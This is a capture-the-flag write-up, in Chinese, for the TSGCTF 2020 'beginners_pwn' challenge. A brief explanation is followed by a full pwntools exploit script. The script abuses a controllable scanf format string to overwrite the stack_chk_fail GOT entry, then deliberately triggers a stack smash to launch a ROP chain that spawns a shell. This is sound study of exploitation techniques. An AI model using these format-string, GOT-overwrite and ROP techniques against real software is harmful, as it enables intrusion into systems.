TSGCTF 2020 beginners_pwn

题面非常简单,scanf格串参数可控。但无任何输出函数,无法泄露libc,不过程序syscall指令。利用方法:scanf格串构造任意地址写,写stack_chk_fail的GOT表,然后继续利用scanf栈溢出触发canary报警,控制流劫持,但是只找到两个能利用rdi和rsi的gadget,无法直接控制rax和rdx。最后在程序中找到一段gadget(0x4011DE)能间接控制rax和rdx,不过需要劫持rbp才能满足这段约束的条件。总之最后一顿ROP到syscall上即可execve(“/bin/sh”,0,0)。

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
myelf = ELF("./beginners_pwn")
io = process(myelf.path)
#io = remote("35.221.81.216",30002)

def aaw(addr,data):
    io.sendline('%7$s%s\x00\x00'+p64(addr))
    io.sendline(data)
    
# (Addr:0x404018) ROP start and new stack here 
payload  = p64(0x4012be)        # pop*3;ret
payload += p64(0)               # padding
payload += "/bin/sh\x00"        # /bin/sh
payload += p64(0x3b)            # *(*(rbp-0x18)) exevce
payload += p64(0x404030)        # *(rbp-0x18)
payload += p64(0)*3             # padding
payload += p64(0x4012c3)        # pop rdi;ret
payload += p64(0x404028)        # /bin/sh addr
payload += p64(0x4012c1)        # pop rsi;pop r15;ret
payload += p64(0)*2             # rsi;r15
payload += p64(0x40118F)        # syscall

# modify stack_chk_fail in GOT
stack_chk_fail = 0x404018
aaw(stack_chk_fail,payload)

# trigger stack smash
payload  = p64(0x40112d)        # pop rbp
payload += p64(0x404050)        # mov rbp to 0x404050
payload += p64(0x4011DE)        # rbx = 0,rax = *(*(rbp-0x18)),leave and return
io.sendline(payload)
io.sendline("cat flag")
io.interactive()